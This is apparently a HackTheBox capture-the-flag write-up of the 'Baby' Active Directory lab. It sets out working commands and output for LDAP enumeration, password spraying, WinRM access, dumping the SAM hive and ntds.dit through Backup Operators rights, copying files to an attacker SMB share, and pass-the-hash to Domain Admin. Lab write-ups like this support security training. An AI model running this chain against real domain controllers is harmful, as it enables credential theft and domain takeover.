Baby - HackTheBox¶
IP: 10.129.234.71 Platform: Active Directory Domain Controller Domain: baby.vl DC: BabyDC.baby.vl OS: Windows Server 2022 (Build 10.0.20348)
Flags: - User: ✅ - Root: ✅
Enumeration¶
Port Scan¶
Command
sudo nmap -p- --min-rate 3000 -Pn -oA nmap/BabyAllPorts 10.129.234.71
Key Findings - 21 open TCP ports (standard AD DC services) - Domain: baby.vl - DC Name: BabyDC.baby.vl - Clock skew: +4-5 seconds (acceptable for Kerberos)
Open Services: - DNS (53), Kerberos (88, 464) - MSRPC (135, 593, multiple high ports) - SMB (139, 445) - LDAP (389, 636, 3268, 3269) - RDP (3389), WinRM (5985) - ADWS (9389)
Analysis - Pure AD environment - no web services - Standard Domain Controller attack surface - WinRM + RDP available for post-credential access
Decision Pursue null session enumeration (SMB/LDAP) to get user list, then AS-REP roasting if available.
Service/Version Scan¶
Command
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49667,57920,57921,57929,59620,59632 -sSCV --min-rate=2000 -Pn -oN nmap/BabyServicesVersions.txt 10.129.234.71
Flags/Notes
- -sSCV = SYN scan + default scripts + version detection
- -sS = SYN stealth scan
- -C = run default NSE scripts
- -V = version detection
Key Output
Domain: baby.vl
DC: BabyDC.baby.vl
OS: Windows Server 2022
SMB signing: enabled and required
/etc/hosts Configuration¶
Command
echo "10.129.234.71 baby.vl BabyDC.baby.vl BabyDC" | sudo tee -a /etc/hosts
Decision Required for Kerberos authentication and domain-aware tools. Allows using domain names instead of IP.
SMB Null Session Enumeration¶
Command
nxc smb baby.vl -u '' -p '' --shares
nxc smb baby.vl -u '' -p '' --users
nxc smb baby.vl -u '' -p '' --groups
nxc smb baby.vl -u '' -p '' --pass-pol
Flags/Notes
- -u '' -p '' = null authentication (empty username/password)
- --shares / --users / --groups / --pass-pol = enumerate respective data
Key Output
- Null Auth accepted ([+] with Null Auth:True) but no data returned for shares, users, groups, or password policy
- Modern Windows Server 2022 DC restricts null session data access even when auth succeeds
Decision Null sessions accepted but restricted. Move to LDAP anonymous bind.
LDAP Anonymous Bind¶
Command
ldapsearch -x -H ldap://baby.vl -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description memberOf
Flags/Notes
- -x = simple (anonymous) authentication
- -H ldap://baby.vl = target LDAP server
- -b "DC=baby,DC=vl" = search base (domain root)
- (objectClass=user) = filter for user objects only
- sAMAccountName description memberOf = attributes to return
Key Output
- 8 users found initially: Guest, Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell
- Teresa.Bell description: "Set initial password to BabyStart123!"
- Saved user list to loot/users.txt
Decision Password found in LDAP description field. Common AD misconfiguration — initial passwords stored in user descriptions.
Full LDAP Dump (objectClass=*)¶
Command
ldapsearch -x -H ldap://baby.vl -b "DC=baby,DC=vl" "(objectClass=*)" > loot/ldapUserInfoAll.txt
Key Output
- 2 additional users found: Ian.Walker (dev OU), Caroline.Robinson (it OU)
- OU structure: dev (5 users), it (5 users)
- Critical finding: it group → Remote Management Users (WinRM access)
- Total: 11 accounts (including Guest)
AS-REP Roasting¶
Command
impacket-GetNPUsers baby.vl/ -usersfile loot/users.txt -dc-ip $IP -format hashcat -outputfile output.txt
Flags/Notes
- GetNPUsers = checks for users with "Do not require Kerberos preauthentication" set
- -usersfile = file of usernames to test
- -format hashcat = output hash format compatible with hashcat (mode 18200)
Key Output - All users require pre-authentication — no roastable accounts
Decision Dead end. Move to password spraying with discovered credential.
Password Spray¶
Command
nxc smb $IP -u users.txt -p 'BabyStart123!'
Key Output
- All users: STATUS_LOGON_FAILURE (box was broken — required HTB machine reset)
- After HTB reset, re-sprayed individual users:
- teresa.bell, ian.walker: STATUS_LOGON_FAILURE (already changed password)
- Caroline.Robinson: STATUS_PASSWORD_MUST_CHANGE — she never changed the initial password!
Decision Caroline.Robinson is the only user who didn't change the initial password. Use nxc change-password module.
Foothold¶
Password Change via nxc¶
Command
nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=Yourmoms123!
Flags/Notes
- -M change-password = nxc module for changing passwords (note: NOT change-pasword — typo will fail)
- -o NEWPASS=Yourmoms123! = module option (must be NEWPASS, NOT NewPassword)
- The initial password authenticates but triggers STATUS_PASSWORD_MUST_CHANGE
- The module changes the password atomically
Key Output
SMB 10.129.16.61 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P... 10.129.16.61 445 BABYDC [+] Successfully changed password for Caroline.Robinson
Evil-WinRM Foothold¶
Command
evil-winrm -i $IP -u Caroline.Robinson -p 'Yourmoms123!'
Flags/Notes
- -i = target IP
- -u / -p = username / password
- Caroline.Robinson is in it group → Remote Management Users → WinRM access on port 5985
Key Output
- Got shell as baby\caroline.robinson
- User flag at C:\Users\Caroline.Robinson\Desktop\user.txt
Privilege Enumeration (whoami /all)¶
Command
whoami /all
Key Output
User Name SID
====================== ==============================================
baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1115
GROUP INFORMATION
========================================
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled
BABY\it Group S-1-5-21-...-1109
PRIVILEGES INFORMATION
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Analysis
- Backup Operators group membership grants SeBackupPrivilege and SeRestorePrivilege
- These privileges allow reading ANY file on the system, bypassing ACLs
- Attack path: Use diskshadow to create VSS shadow copy → robocopy ntds.dit from shadow → secretsdump to extract all domain hashes
Decision Classic Backup Operators privilege escalation. Proceed with diskshadow + robocopy to extract ntds.dit.
Privilege Escalation¶
Step 1: Save SAM & SYSTEM Registry Hives¶
Command (evil-winrm)
reg save hklm\sam c:\Windows\Tasks\SAM
reg save hklm\system c:\Windows\Tasks\SYSTEM
Flags/Notes
- reg save = exports registry hive to file
- hklm\sam = local account password hashes
- hklm\system = contains boot key needed to decrypt SAM
- c:\Windows\Tasks\ = writable directory (can't write to C:\Windows\ directly)
Key Output - SAM: 49,152 bytes - SYSTEM: 20,676,608 bytes
Step 2: Download SAM & SYSTEM¶
Command (evil-winrm)
cd c:\Windows\Tasks
download SAM
download SYSTEM
Flags/Notes
- Evil-WinRM's download command transfers files to the local working directory
- Initially tried copy SAM \\10.10.14.13\share\SAM via impacket-smbserver but hit share name mismatches (shared and loot instead of share)
- Evil-WinRM download was simpler and more reliable
Step 3: Local SAM Hash Extraction (pypykatz)¶
Command (kali)
pypykatz registry --sam SAM SYSTEM
Flags/Notes
- pypykatz = Python implementation of mimikatz
- registry = parse registry hive files offline
- --sam SAM = SAM hive file
- SYSTEM = SYSTEM hive (provides boot key for decryption)
Key Output
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Analysis - This is the local Administrator hash, not the domain Administrator - Tested with evil-winrm — it connects but this is local auth, not domain admin - Need ntds.dit for domain-level hashes
Step 4: Create Diskshadow Script¶
Command (kali)
vim loot/backup
unix2dos loot/backup
Script contents (loot/backup):
set verbose on
set context persistent nowriters
set metadata C:\Windows\Temp\0xdf.cab
add volume c: alias 0xdf
create
expose %0xdf% e:
Flags/Notes
- set context persistent nowriters = shadow copy persists and excludes VSS writers (avoids application locks)
- set metadata = where to store shadow copy metadata
- add volume c: alias 0xdf = target volume C: with alias "0xdf"
- create = create the shadow copy
- expose %0xdf% e: = mount shadow copy as drive E:
- unix2dos = critical — convert line endings to Windows CRLF or diskshadow fails silently
Step 5: Upload & Execute Diskshadow¶
Command (evil-winrm)
cd C:\Users\Public
upload backup
diskshadow /s backup
Flags/Notes
- Upload to C:\Users\Public (writable by all users)
- diskshadow /s backup = run diskshadow in script mode (interactive mode fails in evil-winrm — "The pipe has been ended")
- Script mode (/s) is required for non-interactive shells
Key Output
-> set verbose on
-> set context persistent nowriters
-> set metadata C:\Windows\Temp\0xdf.cab
-> add volume c: alias 0xdf
-> create
Alias 0xdf for shadow ID {2573b881-...} set as environment variable.
-> expose %0xdf% e:
The shadow copy was successfully exposed as e:\.
Verification:
ls E:\
Step 6: Robocopy ntds.dit from Shadow Copy¶
First attempts failed:
# Failed - z: drive doesn't exist (script exposes as e:)
robocopy z:\windows\ntds . ntds.dit
# Failed - tried Z:\Windows\NTDS to SMB server, Z: not found
robocopy /B Z:\Windows\NTDS \\10.10.14.13\loot ntds.dit
Working approach — authenticated SMB server + robocopy with /B flag:
Command (kali — start authenticated SMB server)
smbserver.py loot . -smb2support -username theo -password theo
Flags/Notes
- smbserver.py = Impacket's SMB server (from impacket repo, not the pip package version)
- -smb2support = enable SMBv2 (required for modern Windows)
- -username/-password = authentication required to prevent anonymous access issues
Command (evil-winrm)
robocopy /b E:\Windows\ntds . ntds.dit
Flags/Notes
- /b = backup mode — uses SeBackupPrivilege to bypass file ACLs
- E:\Windows\ntds = source path on the shadow copy (E: drive)
- . = destination (current directory, C:\Users\Public)
- ntds.dit = the Active Directory database file
- ntds.dit is normally locked by the AD DS service — the shadow copy provides an unlocked snapshot
Key Output
Source : E:\Windows\ntds\
Dest : C:\Users\Public\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
New File 16.0 m ntds.dit
100%
Download to kali (evil-winrm)
download ntds.dit
C:\Users\Public (current directory)
- Then used evil-winrm's built-in download command to transfer to kali
- Note: authenticated SMB server (smbserver.py loot . -smb2support -username theo -password theo) was set up but evil-winrm download was simpler
Step 7: Extract Domain Hashes (secretsdump.py)¶
Command (kali)
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Flags/Notes
- secretsdump.py = Impacket tool (note: impacket-secretsdump version had issues; secretsdump.py from repo worked)
- -ntds ntds.dit = Active Directory database file
- -system SYSTEM = SYSTEM registry hive (provides boot key)
- LOCAL = parse files locally (no network connection needed)
- Common error: impacket-secretsdump -sam SAM -system SYSTEM without LOCAL gives "target required" error
Key Output
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:3c387bd06399c49ac18d935208e2ef67:::
Plus Kerberos keys (AES256, AES128, DES) for all accounts.
Step 8: Pass-the-Hash as Domain Administrator¶
Command (verify hash — nxc)
nxc smb $IP -u administrator -H 'ee4457ae59f1e3fbd764e33d9cef123d'
Flags/Notes
- -H (uppercase) = pass NT hash — NOT -h (lowercase, which shows help!)
- Same gotcha applies in evil-winrm: -H for hash, -h for help
Command (admin shell)
evil-winrm -i $IP -u Administrator -H 'ee4457ae59f1e3fbd764e33d9cef123d'
Key Output
- Got shell as Administrator on BabyDC
- Root flag at C:\Users\Administrator\Desktop\root.txt
Lessons Learned¶
- Port 593 (ncacn_http) is RPC over HTTP, not a web service — don't confuse it with web attack surface
- Modern AD DCs may accept null auth but restrict data access (no shares/users/groups returned)
- LDAP anonymous bind can still work even when SMB null sessions are restricted — always try both
- Check LDAP description fields — common AD misconfiguration to store initial passwords in user descriptions
STATUS_PASSWORD_MUST_CHANGEis a goldmine — means the user never changed their initial password. Usenxc -M change-password -o NEWPASS=- nxc module option is
NEWPASS(notNewPassword) and module name ischange-password(notchange-pasword) - Case sensitivity matters for flags:
-H(uppercase) = hash auth,-h(lowercase) = help. True for both nxc and evil-winrm. diskshadowmust run in script mode (/s) from evil-winrm — interactive mode fails with "pipe has been ended"unix2dosis critical for diskshadow scripts — Windows requires CRLF line endingsrobocopy /b(backup mode) leverages SeBackupPrivilege to bypass ACLs on files like ntds.dit- Shadow copy exposed as a drive letter (e.g.,
e:) is a full read-only snapshot of the volume secretsdump.py(from impacket repo) vsimpacket-secretsdump(pip) may behave differently — the repo version worked when the pip version had issues- SAM hashes are local accounts only — need ntds.dit for domain account hashes
impacket-smbservershare name must match exactly what you reference from the target —shareis the name, notsharedorloot- Authenticated SMB server (
-username/-password) is more reliable for file transfers from modern Windows